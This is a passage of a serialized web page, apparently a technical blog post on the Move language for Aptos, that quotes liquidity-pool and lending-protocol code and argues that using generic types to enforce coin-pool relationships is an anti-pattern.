}\n",[6846],{"type":21,"tag":194,"props":6847,"children":6848},{"__ignoreMap":7},[6849,6857,6921,6951,6980,6988],{"type":21,"tag":198,"props":6850,"children":6851},{"class":200,"line":201},[6852],{"type":21,"tag":198,"props":6853,"children":6854},{"style":1233},[6855],{"type":27,"value":6856}," /// Liquidity pool with reserves.\n",{"type":21,"tag":198,"props":6858,"children":6859},{"class":200,"line":217},[6860,6865,6870,6874,6878,6883,6887,6891,6896,6900,6904,6909,6913,6917],{"type":21,"tag":198,"props":6861,"children":6862},{"style":249},[6863],{"type":27,"value":6864}," struct",{"type":21,"tag":198,"props":6866,"children":6867},{"style":1966},[6868],{"type":27,"value":6869}," LiquidityPool",{"type":21,"tag":198,"props":6871,"children":6872},{"style":211},[6873],{"type":27,"value":3159},{"type":21,"tag":198,"props":6875,"children":6876},{"style":226},[6877],{"type":27,"value":6624},{"type":21,"tag":198,"props":6879,"children":6880},{"style":1966},[6881],{"type":27,"value":6882}," X",{"type":21,"tag":198,"props":6884,"children":6885},{"style":211},[6886],{"type":27,"value":828},{"type":21,"tag":198,"props":6888,"children":6889},{"style":226},[6890],{"type":27,"value":6624},{"type":21,"tag":198,"props":6892,"children":6893},{"style":1966},[6894],{"type":27,"value":6895}," Y",{"type":21,"tag":198,"props":6897,"children":6898},{"style":211},[6899],{"type":27,"value":828},{"type":21,"tag":198,"props":6901,"children":6902},{"style":226},[6903],{"type":27,"value":6624},{"type":21,"tag":198,"props":6905,"children":6906},{"style":211},[6907],{"type":27,"value":6908}," LP> ",{"type":21,"tag":198,"props":6910,"children":6911},{"style":226},[6912],{"type":27,"value":6639},{"type":21,"tag":198,"props":6914,"children":6915},{"style":226},[6916],{"type":27,"value":6744},{"type":21,"tag":198,"props":6918,"children":6919},{"style":211},[6920],{"type":27,"value":233},{"type":21,"tag":198,"props":6922,"children":6923},{"class":200,"line":236},[6924,6929,6933,6937,6941,6946],{"type":21,"tag":198,"props":6925,"children":6926},{"style":226},[6927],{"type":27,"value":6928}," coin_x_reserve",{"type":21,"tag":198,"props":6930,"children":6931},{"style":683},[6932],{"type":27,"value":185},{"type":21,"tag":198,"props":6934,"children":6935},{"style":1966},[6936],{"type":27,"value":6615},{"type":21,"tag":198,"props":6938,"children":6939},{"style":211},[6940],{"type":27,"value":3159},{"type":21,"tag":198,"props":6942,"children":6943},{"style":1966},[6944],{"type":27,"value":6945},"X",{"type":21,"tag":198,"props":6947,"children":6948},{"style":211},[6949],{"type":27,"value":6950},">,\n",{"type":21,"tag":198,"props":6952,"children":6953},{"class":200,"line":260},[6954,6959,6963,6967,6971,6976],{"type":21,"tag":198,"props":6955,"children":6956},{"style":226},[6957],{"type":27,"value":6958}," coin_y_reserve",{"type":21,"tag":198,"props":6960,"children":6961},{"style":683},[6962],{"type":27,"value":185},{"type":21,"tag":198,"props":6964,"children":6965},{"style":1966},[6966],{"type":27,"value":6615},{"type":21,"tag":198,"props":6968,"children":6969},{"style":211},[6970],{"type":27,"value":3159},{"type":21,"tag":198,"props":6972,"children":6973},{"style":1966},[6974],{"type":27,"value":6975},"Y",{"type":21,"tag":198,"props":6977,"children":6978},{"style":211},[6979],{"type":27,"value":6950},{"type":21,"tag":198,"props":6981,"children":6982},{"class":200,"line":281},[6983],{"type":21,"tag":198,"props":6984,"children":6985},{"style":1233},[6986],{"type":27,"value":6987}," // ...\n",{"type":21,"tag":198,"props":6989,"children":6990},{"class":200,"line":302},[6991],{"type":21,"tag":198,"props":6992,"children":6993},{"style":211},[6994],{"type":27,"value":880},{"type":21,"tag":30,"props":6996,"children":6997},{},[6998],{"type":27,"value":6999},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":21,"tag":187,"props":7001,"children":7003},{"className":3789,"code":7002,"language":3788,"meta":7,"style":7}," public fun mint\u003CX, Y, LP>(\n pool_addr: address,\n coin_x: Coin\u003CX>,\n coin_y: Coin\u003CY>\n ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n // ...\n\n let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[7004],{"type":21,"tag":194,"props":7005,"children":7006},{"__ignoreMap":7},[7007,7046,7067,7095,7123,7174,7182,7189],{"type":21,"tag":198,"props":7008,"children":7009},{"class":200,"line":201},[7010,7015,7020,7025,7029,7033,7037,7041],{"type":21,"tag":198,"props":7011,"children":7012},{"style":226},[7013],{"type":27,"value":7014}," public",{"type":21,"tag":198,"props":7016,"children":7017},{"style":226},[7018],{"type":27,"value":7019}," fun",{"type":21,"tag":198,"props":7021,"children":7022},{"style":226},[7023],{"type":27,"value":7024}," mint",{"type":21,"tag":198,"props":7026,"children":7027},{"style":211},[7028],{"type":27,"value":3159},{"type":21,"tag":198,"props":7030,"children":7031},{"style":1966},[7032],{"type":27,"value":6945},{"type":21,"tag":198,"props":7034,"children":7035},{"style":211},[7036],{"type":27,"value":828},{"type":21,"tag":198,"props":7038,"children":7039},{"style":1966},[7040],{"type":27,"value":6975},{"type":21,"tag":198,"props":7042,"children":7043},{"style":211},[7044],{"type":27,"value":7045},", LP>(\n",{"type":21,"tag":198,"props":7047,"children":7048},{"class":200,"line":217},[7049,7054,7058,7063],{"type":21,"tag":198,"props":7050,"children":7051},{"style":226},[7052],{"type":27,"value":7053}," pool_addr",{"type":21,"tag":198,"props":7055,"children":7056},{"style":683},[7057],{"type":27,"value":185},{"type":21,"tag":198,"props":7059,"children":7060},{"style":226},[7061],{"type":27,"value":7062}," address",{"type":21,"tag":198,"props":7064,"children":7065},{"style":211},[7066],{"type":27,"value":257},{"type":21,"tag":198,"props":7068,"children":7069},{"class":200,"line":236},[7070,7075,7079,7083,7087,7091],{"type":21,"tag":198,"props":7071,"children":7072},{"style":226},[7073],{"type":27,"value":7074}," coin_x",{"type":21,"tag":198,"props":7076,"children":7077},{"style":683},[7078],{"type":27,"value":185},{"type":21,"tag":198,"props":7080,"children":7081},{"style":1966},[7082],{"type":27,"value":6615},{"type":21,"tag":198,"props":7084,"children":7085},{"style":211},[7086],{"type":27,"value":3159},{"type":21,"tag":198,"props":7088,"children":7089},{"style":1966},[7090],{"type":27,"value":6945},{"type":21,"tag":198,"props":7092,"children":7093},{"style":211},[7094],{"type":27,"value":6950},{"type":21,"tag":198,"props":7096,"children":7097},{"class":200,"line":260},[7098,7103,7107,7111,7115,7119],{"type":21,"tag":198,"props":7099,"children":7100},{"style":226},[7101],{"type":27,"value":7102}," coin_y",{"type":21,"tag":198,"props":7104,"children":7105},{"style":683},[7106],{"type":27,"value":185},{"type":21,"tag":198,"props":7108,"children":7109},{"style":1966},[7110],{"type":27,"value":6615},{"type":21,"tag":198,"props":7112,"children":7113},{"style":211},[7114],{"type":27,"value":3159},{"type":21,"tag":198,"props":7116,"children":7117},{"style":1966},[7118],{"type":27,"value":6975},{"type":21,"tag":198,"props":7120,"children":7121},{"style":211},[7122],{"type":27,"value":3203},{"type":21,"tag":198,"props":7124,"children":7125},{"class":200,"line":281},[7126,7131,7135,7139,7143,7148,7152,7157,7161,7165,7170],{"type":21,"tag":198,"props":7127,"children":7128},{"style":211},[7129],{"type":27,"value":7130}," )",{"type":21,"tag":198,"props":7132,"children":7133},{"style":683},[7134],{"type":27,"value":185},{"type":21,"tag":198,"props":7136,"children":7137},{"style":1966},[7138],{"type":27,"value":6615},{"type":21,"tag":198,"props":7140,"children":7141},{"style":211},[7142],{"type":27,"value":3159},{"type":21,"tag":198,"props":7144,"children":7145},{"style":1966},[7146],{"type":27,"value":7147},"LP",{"type":21,"tag":198,"props":7149,"children":7150},{"style":211},[7151],{"type":27,"value":6634},{"type":21,"tag":198,"props":7153,"children":7154},{"style":226},[7155],{"type":27,"value":7156},"acquires",{"type":21,"tag":198,"props":7158,"children":7159},{"style":1966},[7160],{"type":27,"value":6869},{"type":21,"tag":198,"props":7162,"children":7163},{"style":211},[7164],{"type":27,"value":828},{"type":21,"tag":198,"props":7166,"children":7167},{"style":1966},[7168],{"type":27,"value":7169},"EventsStore",{"type":21,"tag":198,"props":7171,"children":7172},{"style":211},[7173],{"type":27,"value":233},{"type":21,"tag":198,"props":7175,"children":7176},{"class":200,"line":302},[7177],{"type":21,"tag":198,"props":7178,"children":7179},{"style":1233},[7180],{"type":27,"value":7181}," // ...\n",{"type":21,"tag":198,"props":7183,"children":7184},{"class":200,"line":323},[7185],{"type":21,"tag":198,"props":7186,"children":7187},{"emptyLinePlaceholder":16},[7188],{"type":27,"value":1283},{"type":21,"tag":198,"props":7190,"children":7191},{"class":200,"line":344},[7192,7197,7201,7206,7210,7215,7219,7223,7228,7232,7236,7240,7244,7249,7254],{"type":21,"tag":198,"props":7193,"children":7194},{"style":249},[7195],{"type":27,"value":7196}," let",{"type":21,"tag":198,"props":7198,"children":7199},{"style":211},[7200],{"type":27,"value":648},{"type":21,"tag":198,"props":7202,"children":7203},{"style":226},[7204],{"type":27,"value":7205},"x_reserve_size",{"type":21,"tag":198,"props":7207,"children":7208},{"style":211},[7209],{"type":27,"value":828},{"type":21,"tag":198,"props":7211,"children":7212},{"style":226},[7213],{"type":27,"value":7214},"y_reserve_size",{"type":21,"tag":198,"props":7216,"children":7217},{"style":211},[7218],{"type":27,"value":1541},{"type":21,"tag":198,"props":7220,"children":7221},{"style":683},[7222],{"type":27,"value":3174},{"type":21,"tag":198,"props":7224,"children":7225},{"style":226},[7226],{"type":27,"value":7227}," get_reserves_size",{"type":21,"tag":198,"props":7229,"children":7230},{"style":211},[7231],{"type":27,"value":3159},{"type":21,"tag":198,"props":7233,"children":7234},{"style":1966},[7235],{"type":27,"value":6945},{"type":21,"tag":198,"props":7237,"children":7238},{"style":211},[7239],{"type":27,"value":828},{"type":21,"tag":198,"props":7241,"children":7242},{"style":1966},[7243],{"type":27,"value":6975},{"type":21,"tag":198,"props":7245,"children":7246},{"style":211},[7247],{"type":27,"value":7248},", LP>(",{"type":21,"tag":198,"props":7250,"children":7251},{"style":226},[7252],{"type":27,"value":7253},"pool_addr",{"type":21,"tag":198,"props":7255,"children":7256},{"style":211},[7257],{"type":27,"value":1470},{"type":21,"tag":30,"props":7259,"children":7260},{},[7261,7263,7269,7270,7277],{"type":27,"value":7262},"As an aside, this generic type information is implemented at runtime in the ",{"type":21,"tag":194,"props":7264,"children":7266},{"className":7265},[],[7267],{"type":27,"value":7268},"ty_args",{"type":27,"value":915},{"type":21,"tag":34,"props":7271,"children":7274},{"href":7272,"rel":7273},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[38],[7275],{"type":27,"value":7276},"at the vm level",{"type":27,"value":7278},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":21,"tag":30,"props":7280,"children":7281},{},[7282,7284,7290,7292,7298,7300,7306,7307,7313],{"type":27,"value":7283},"In pseucode, this checks that ",{"type":21,"tag":194,"props":7285,"children":7287},{"className":7286},[],[7288],{"type":27,"value":7289},"coin_x.type",{"type":27,"value":7291}," is equal to ",{"type":21,"tag":194,"props":7293,"children":7295},{"className":7294},[],[7296],{"type":27,"value":7297},"pool.x_type",{"type":27,"value":7299},", and ",{"type":21,"tag":194,"props":7301,"children":7303},{"className":7302},[],[7304],{"type":27,"value":7305},"coin_y.type",{"type":27,"value":7291},{"type":21,"tag":194,"props":7308,"children":7310},{"className":7309},[],[7311],{"type":27,"value":7312},"pool.y_type",{"type":27,"value":658},{"type":21,"tag":30,"props":7315,"children":7316},{},[7317],{"type":27,"value":7318},"This type system has two advantages",{"type":21,"tag":71,"props":7320,"children":7321},{},[7322,7334],{"type":21,"tag":75,"props":7323,"children":7324},{},[7325,7327,7332],{"type":27,"value":7326},"It's required. The type parameter ",{"type":21,"tag":1671,"props":7328,"children":7329},{},[7330],{"type":27,"value":7331},"must",{"type":27,"value":7333}," be specified so it's impossible to forget such a constraint",{"type":21,"tag":75,"props":7335,"children":7336},{},[7337],{"type":27,"value":7338},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":21,"tag":30,"props":7340,"children":7341},{},[7342],{"type":27,"value":7343},"However, this system isn't perfect.",{"type":21,"tag":30,"props":7345,"children":7346},{},[7347,7349,7354],{"type":27,"value":7348},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":21,"tag":6137,"props":7350,"children":7351},{},[7352],{"type":27,"value":7353},"an anti-pattern",{"type":27,"value":658},{"type":21,"tag":30,"props":7356,"children":7357},{},[7358,7360,7366],{"type":27,"value":7359},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":21,"tag":194,"props":7361,"children":7363},{"className":7362},[],[7364],{"type":27,"value":7365},"CoinInfo\u003CCoinType>",{"type":27,"value":658},{"type":21,"tag":187,"props":7368,"children":7370},{"className":3789,"code":7369,"language":3788,"meta":7,"style":7}," fun initialize_internal\u003CCoinType>(\n // ...\n ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n // ...\n\n assert!(\n !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n );\n",[7371],{"type":21,"tag":194,"props":7372,"children":7373},{"__ignoreMap":7},[7374,7401,7409,7478,7485,7492,7504,7549,7571],{"type":21,"tag":198,"props":7375,"children":7376},{"class":200,"line":201},[7377,7382,7387,7391,7396],{"type":21,"tag":198,"props":7378,"children":7379},{"style":226},[7380],{"type":27,"value":7381}," fun",{"type":21,"tag":198,"props":7383,"children":7384},{"style":226},[7385],{"type":27,"value":7386}," initialize_internal",{"type":21,"tag":198,"props":7388,"children":7389},{"style":211},[7390],{"type":27,"value":3159},{"type":21,"tag":198,"props":7392,"children":7393},{"style":1966},[7394],{"type":27,"value":7395},"CoinType",{"type":21,"tag":198,"props":7397,"children":7398},{"style":211},[7399],{"type":27,"value":7400},">(\n",{"type":21,"tag":198,"props":7402,"children":7403},{"class":200,"line":217},[7404],{"type":21,"tag":198,"props":7405,"children":7406},{"style":1233},[7407],{"type":27,"value":7408}," // ...\n",{"type":21,"tag":198,"props":7410,"children":7411},{"class":200,"line":236},[7412,7417,7421,7425,7430,7434,7438,7443,7448,7452,7456,7460,7465,7469,7473],{"type":21,"tag":198,"props":7413,"children":7414},{"style":211},[7415],{"type":27,"value":7416}," )",{"type":21,"tag":198,"props":7418,"children":7419},{"style":683},[7420],{"type":27,"value":185},{"type":21,"tag":198,"props":7422,"children":7423},{"style":211},[7424],{"type":27,"value":648},{"type":21,"tag":198,"props":7426,"children":7427},{"style":1966},[7428],{"type":27,"value":7429},"BurnCapability",{"type":21,"tag":198,"props":7431,"children":7432},{"style":211},[7433],{"type":27,"value":3159},{"type":21,"tag":198,"props":7435,"children":7436},{"style":1966},[7437],{"type":27,"value":7395},{"type":21,"tag":198,"props":7439,"children":7440},{"style":211},[7441],{"type":27,"value":7442},">, ",{"type":21,"tag":198,"props":7444,"children":7445},{"style":1966},[7446],{"type":27,"value":7447},"FreezeCapability",{"type":21,"tag":198,"props":7449,"children":7450},{"style":211},[7451],{"type":27,"value":3159},{"type":21,"tag":198,"props":7453,"children":7454},{"style":1966},[7455],{"type":27,"value":7395},{"type":21,"tag":198,"props":7457,"children":7458},{"style":211},[7459],{"type":27,"value":7442},{"type":21,"tag":198,"props":7461,"children":7462},{"style":1966},[7463],{"type":27,"value":7464},"MintCapability",{"type":21,"tag":198,"props":7466,"children":7467},{"style":211},[7468],{"type":27,"value":3159},{"type":21,"tag":198,"props":7470,"children":7471},{"style":1966},[7472],{"type":27,"value":7395},{"type":21,"tag":198,"props":7474,"children":7475},{"style":211},[7476],{"type":27,"value":7477},">) {\n",{"type":21,"tag":198,"props":7479,"children":7480},{"class":200,"line":260},[7481],{"type":21,"tag":198,"props":7482,"children":7483},{"style":1233},[7484],{"type":27,"value":7408},{"type":21,"tag":198,"props":7486,"children":7487},{"class":200,"line":281},[7488],{"type":21,"tag":198,"props":7489,"children":7490},{"emptyLinePlaceholder":16},[7491],{"type":27,"value":1283},{"type":21,"tag":198,"props":7493,"children":7494},{"class":200,"line":302},[7495,7500],{"type":21,"tag":198,"props":7496,"children":7497},{"style":698},[7498],{"type":27,"value":7499}," assert!",{"type":21,"tag":198,"props":7501,"children":7502},{"style":211},[7503],{"type":27,"value":4268},{"type":21,"tag":198,"props":7505,"children":7506},{"class":200,"line":323},[7507,7512,7517,7521,7526,7530,7534,7539,7544],{"type":21,"tag":198,"props":7508,"children":7509},{"style":683},[7510],{"type":27,"value":7511}," !",{"type":21,"tag":198,"props":7513,"children":7514},{"style":226},[7515],{"type":27,"value":7516},"exists",{"type":21,"tag":198,"props":7518,"children":7519},{"style":211},[7520],{"type":27,"value":3159},{"type":21,"tag":198,"props":7522,"children":7523},{"style":1966},[7524],{"type":27,"value":7525},"CoinInfo",{"type":21,"tag":198,"props":7527,"children":7528},{"style":211},[7529],{"type":27,"value":3159},{"type":21,"tag":198,"props":7531,"children":7532},{"style":1966},[7533],{"type":27,"value":7395},{"type":21,"tag":198,"props":7535,"children":7536},{"style":211},[7537],{"type":27,"value":7538},">>(",{"type":21,"tag":198,"props":7540,"children":7541},{"style":226},[7542],{"type":27,"value":7543},"account_addr",{"type":21,"tag":198,"props":7545,"children":7546},{"style":211},[7547],{"type":27,"value":7548},"),\n",{"type":21,"tag":198,"props":7550,"children":7551},{"class":200,"line":344},[7552,7557,7561,7566],{"type":21,"tag":198,"props":7553,"children":7554},{"style":211},[7555],{"type":27,"value":7556}," error",{"type":21,"tag":198,"props":7558,"children":7559},{"style":683},[7560],{"type":27,"value":4286},{"type":21,"tag":198,"props":7562,"children":7563},{"style":698},[7564],{"type":27,"value":7565},"already_exists",{"type":21,"tag":198,"props":7567,"children":7568},{"style":211},[7569],{"type":27,"value":7570},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":21,"tag":198,"props":7572,"children":7573},{"class":200,"line":365},[7574],{"type":21,"tag":198,"props":7575,"children":7576},{"style":211},[7577],{"type":27,"value":7578}," );\n",{"type":21,"tag":30,"props":7580,"children":7581},{},[7582,7584,7589],{"type":27,"value":7583},"While this ",{"type":21,"tag":194,"props":7585,"children":7587},{"className":7586},[],[7588],{"type":27,"value":7525},{"type":27,"value":7590}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":21,"tag":30,"props":7592,"children":7593},{},[7594,7596,7603],{"type":27,"value":7595},"Similarly, consider ",{"type":21,"tag":34,"props":7597,"children":7600},{"href":7598,"rel":7599},"https://ariesmarkets.xyz/",[38],[7601],{"type":27,"value":7602},"Aries Markets",{"type":27,"value":7604},", a lending/borrowing protocol building on Aptos.",{"type":21,"tag":30,"props":7606,"children":7607},{},[7608,7610,7616],{"type":27,"value":7609},"Their ",{"type":21,"tag":194,"props":7611,"children":7613},{"className":7612},[],[7614],{"type":27,"value":7615},"ReserveCoinContainer",{"type":27,"value":7617}," struct stores all the relevant data and resources for managing a lending market.",{"type":21,"tag":187,"props":7619,"children":7621},{"className":3789,"code":7620,"language":3788,"meta":7,"style":7}," /// The struct to hold all the underlying `Coin`s.\n /// Stored as a resources.\n struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n /// Stores the available `Coin`.\n underlying_coin: Coin\u003CCoin0>,\n /// Stores the LP `Coin` that act as collateral.\n collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n /// Mint capability for LP Coin.\n mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n /// Burn capability for LP Coin.\n burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n // ...\n }\n\n",[7622],{"type":21,"tag":194,"props":7623,"children":7624},{"__ignoreMap":7},[7625,7633,7641,7682,7690,7719,7727,7764,7772,7809,7817,7854,7861,7868],{"type":21,"tag":198,"props":7626,"children":7627},{"class":200,"line":201},[7628],{"type":21,"tag":198,"props":7629,"children":7630},{"style":1233},[7631],{"type":27,"value":7632}," /// The struct to hold all the underlying `Coin`s.\n",{"type":21,"tag":198,"props":7634,"children":7635},{"class":200,"line":217},[7636],{"type":21,"tag":198,"props":7637,"children":7638},{"style":1233},[7639],{"type":27,"value":7640}," /// Stored as a resources.\n",{"type":21,"tag":198,"props":7642,"children":7643},{"class":200,"line":236},[7644,7648,7653,7657,7661,7666,7670,7674,7678],{"type":21,"tag":198,"props":7645,"children":7646},{"style":249},[7647],{"type":27,"value":6610},{"type":21,"tag":198,"props":7649,"children":7650},{"style":1966},[7651],{"type":27,"value":7652}," ReserveCoinContainer",{"type":21,"tag":198,"props":7654,"children":7655},{"style":211},[7656],{"type":27,"value":3159},{"type":21,"tag":198,"props":7658,"children":7659},{"style":226},[7660],{"type":27,"value":6624},{"type":21,"tag":198,"props":7662,"children":7663},{"style":1966},[7664],{"type":27,"value":7665}," Coin0",{"type":21,"tag":198,"props":7667,"children":7668},{"style":211},[7669],{"type":27,"value":6634},{"type":21,"tag":198,"props":7671,"children":7672},{"style":226},[7673],{"type":27,"value":6639},{"type":21,"tag":198,"props":7675,"children":7676},{"style":226},[7677],{"type":27,"value":6744},{"type":21,"tag":198,"props":7679,"children":7680},{"style":211},[7681],{"type":27,"value":233},{"type":21,"tag":198,"props":7683,"children":7684},{"class":200,"line":260},[7685],{"type":21,"tag":198,"props":7686,"children":7687},{"style":1233},[7688],{"type":27,"value":7689}," /// Stores the available `Coin`.\n",{"type":21,"tag":198,"props":7691,"children":7692},{"class":200,"line":281},[7693,7698,7702,7706,7710,7715],{"type":21,"tag":198,"props":7694,"children":7695},{"style":226},[7696],{"type":27,"value":7697}," underlying_coin",{"type":21,"tag":198,"props":7699,"children":7700},{"style":683},[7701],{"type":27,"value":185},{"type":21,"tag":198,"props":7703,"children":7704},{"style":1966},[7705],{"type":27,"value":6615},{"type":21,"tag":198,"props":7707,"children":7708},{"style":211},[7709],{"type":27,"value":3159},{"type":21,"tag":198,"props":7711,"children":7712},{"style":1966},[7713],{"type":27,"value":7714},"Coin0",{"type":21,"tag":198,"props":7716,"children":7717},{"style":211},[7718],{"type":27,"value":6950},{"type":21,"tag":198,"props":7720,"children":7721},{"class":200,"line":302},[7722],{"type":21,"tag":198,"props":7723,"children":7724},{"style":1233},[7725],{"type":27,"value":7726}," /// Stores the LP `Coin` that act as collateral.\n",{"type":21,"tag":198,"props":7728,"children":7729},{"class":200,"line":323},[7730,7735,7739,7743,7747,7751,7755,7759],{"type":21,"tag":198,"props":7731,"children":7732},{"style":226},[7733],{"type":27,"value":7734}," collateralised_lp_coin",{"type":21,"tag":198,"props":7736,"children":7737},{"style":683},[7738],{"type":27,"value":185},{"type":21,"tag":198,"props":7740,"children":7741},{"style":1966},[7742],{"type":27,"value":6615},{"type":21,"tag":198,"props":7744,"children":7745},{"style":211},[7746],{"type":27,"value":3159},{"type":21,"tag":198,"props":7748,"children":7749},{"style":1966},[7750],{"type":27,"value":7147},{"type":21,"tag":198,"props":7752,"children":7753},{"style":211},[7754],{"type":27,"value":3159},{"type":21,"tag":198,"props":7756,"children":7757},{"style":1966},[7758],{"type":27,"value":7714},{"type":21,"tag":198,"props":7760,"children":7761},{"style":211},[7762],{"type":27,"value":7763},">>,\n",{"type":21,"tag":198,"props":7765,"children":7766},{"class":200,"line":344},[7767],{"type":21,"tag":198,"props":7768,"children":7769},{"style":1233},[7770],{"type":27,"value":7771}," /// Mint capability for LP Coin.\n",{"type":21,"tag":198,"props":7773,"children":7774},{"class":200,"line":365},[7775,7780,7784,7789,7793,7797,7801,7805],{"type":21,"tag":198,"props":7776,"children":7777},{"style":226},[7778],{"type":27,"value":7779}," mint_capability",{"type":21,"tag":198,"props":7781,"children":7782},{"style":683},[7783],{"type":27,"value":185},{"type":21,"tag":198,"props":7785,"children":7786},{"style":1966},[7787],{"type":27,"value":7788}," MintCapability",{"type":21,"tag":198,"props":7790,"children":7791},{"style":211},[7792],{"type":27,"value":3159},{"type":21,"tag":198,"props":7794,"children":7795},{"style":1966},[7796],{"type":27,"value":7147},{"type":21,"tag":198,"props":7798,"children":7799},{"style":211},[7800],{"type":27,"value":3159},{"type":21,"tag":198,"props":7802,"children":7803},{"style":1966},[7804],{"type":27,"value":7714},{"type":21,"tag":198,"props":7806,"children":7807},{"style":211},[7808],{"type":27,"value":7763},{"type":21,"tag":198,"props":7810,"children":7811},{"class":200,"line":386},[7812],{"type":21,"tag":198,"props":7813,"children":7814},{"style":1233},[7815],{"type":27,"value":7816}," /// Burn capability for LP Coin.\n",{"type":21,"tag":198,"props":7818,"children":7819},{"class":200,"line":408},[7820,7825,7829,7834,7838,7842,7846,7850],{"type":21,"tag":198,"props":7821,"children":7822},{"style":226},[7823],{"type":27,"value":7824}," burn_capability",{"type":21,"tag":198,"props":7826,"children":7827},{"style":683},[7828],{"type":27,"value":185},{"type":21,"tag":198,"props":7830,"children":7831},{"style":1966},[7832],{"type":27,"value":7833}," BurnCapability",{"type":21,"tag":198,"props":7835,"children":7836},{"style":211},[7837],{"type":27,"value":3159},{"type":21,"tag":198,"props":7839,"children":7840},{"style":1966},[7841],{"type":27,"value":7147},{"type":21,"tag":198,"props":7843,"children":7844},{"style":211},[7845],{"type":27,"value":3159},{"type":21,"tag":198,"props":7847,"children":7848},{"style":1966},[7849],{"type":27,"value":7714},{"type":21,"tag":198,"props":7851,"children":7852},{"style":211},[7853],{"type":27,"value":7763},{"type":21,"tag":198,"props":7855,"children":7856},{"class":200,"line":429},[7857],{"type":21,"tag":198,"props":7858,"children":7859},{"emptyLinePlaceholder":16},[7860],{"type":27,"value":1283},{"type":21,"tag":198,"props":7862,"children":7863},{"class":200,"line":450},[7864],{"type":21,"tag":198,"props":7865,"children":7866},{"style":1233},[7867],{"type":27,"value":7408},{"type":21,"tag":198,"props":7869,"children":7870},{"class":200,"line":468},[7871],{"type":21,"tag":198,"props":7872,"children":7873},{"style":211},[7874],{"type":27,"value":2249},{"type":21,"tag":30,"props":7876,"children":7877},{},[7878,7880,7885],{"type":27,"value":7879},"When creating a ",{"type":21,"tag":194,"props":7881,"children":7883},{"className":7882},[],[7884],{"type":27,"value":7615},{"type":27,"value":7886},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":21,"tag":187,"props":7888,"children":7890},{"className":3789,"code":7889,"language":3788,"meta":7,"style":7}," public(friend) fun create\u003CCoin0>(\n lp_store: &signer,\n // ...\n ) acquires Reserves {\n lp::assert_is_lp_store(signer::address_of(lp_store));\n\n // ...\n\n move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n // ...\n });\n",[7891],{"type":21,"tag":194,"props":7892,"children":7893},{"__ignoreMap":7},[7894,7937,7963,7970,7991,8036,8043,8050,8057,8094,8101],{"type":21,"tag":198,"props":7895,"children":7896},{"class":200,"line":201},[7897,7902,7906,7911,7915,7920,7925,7929,7933],{"type":21,"tag":198,"props":7898,"children":7899},{"style":698},[7900],{"type":27,"value":7901}," public",{"type":21,"tag":198,"props":7903,"children":7904},{"style":211},[7905],{"type":27,"value":706},{"type":21,"tag":198,"props":7907,"children":7908},{"style":226},[7909],{"type":27,"value":7910},"friend",{"type":21,"tag":198,"props":7912,"children":7913},{"style":211},[7914],{"type":27,"value":1541},{"type":21,"tag":198,"props":7916,"children":7917},{"style":226},[7918],{"type":27,"value":7919},"fun",{"type":21,"tag":198,"props":7921,"children":7922},{"style":226},[7923],{"type":27,"value":7924}," create",{"type":21,"tag":198,"props":7926,"children":7927},{"style":211},[7928],{"type":27,"value":3159},{"type":21,"tag":198,"props":7930,"children":7931},{"style":1966},[7932],{"type":27,"value":7714},{"type":21,"tag":198,"props":7934,"children":7935},{"style":211},[7936],{"type":27,"value":7400},{"type":21,"tag":198,"props":7938,"children":7939},{"class":200,"line":217},[7940,7945,7949,7954,7959],{"type":21,"tag":198,"props":7941,"children":7942},{"style":226},[7943],{"type":27,"value":7944}," lp_store",{"type":21,"tag":198,"props":7946,"children":7947},{"style":683},[7948],{"type":27,"value":185},{"type":21,"tag":198,"props":7950,"children":7951},{"style":683},[7952],{"type":27,"value":7953}," &",{"type":21,"tag":198,"props":7955,"children":7956},{"style":226},[7957],{"type":27,"value":7958},"signer",{"type":21,"tag":198,"props":7960,"children":7961},{"style":211},[7962],{"type":27,"value":257},{"type":21,"tag":198,"props":7964,"children":7965},{"class":200,"line":236},[7966],{"type":21,"tag":198,"props":7967,"children":7968},{"style":1233},[7969],{"type":27,"value":7408},{"type":21,"tag":198,"props":7971,"children":7972},{"class":200,"line":260},[7973,7978,7982,7987],{"type":21,"tag":198,"props":7974,"children":7975},{"style":211},[7976],{"type":27,"value":7977}," ) ",{"type":21,"tag":198,"props":7979,"children":7980},{"style":226},[7981],{"type":27,"value":7156},{"type":21,"tag":198,"props":7983,"children":7984},{"style":1966},[7985],{"type":27,"value":7986}," Reserves",{"type":21,"tag":198,"props":7988,"children":7989},{"style":211},[7990],{"type":27,"value":233},{"type":21,"tag":198,"props":7992,"children":7993},{"class":200,"line":281},[7994,7999,8003,8008,8013,8017,8022,8026,8031],{"type":21,"tag":198,"props":7995,"children":7996},{"style":211},[7997],{"type":27,"value":7998}," 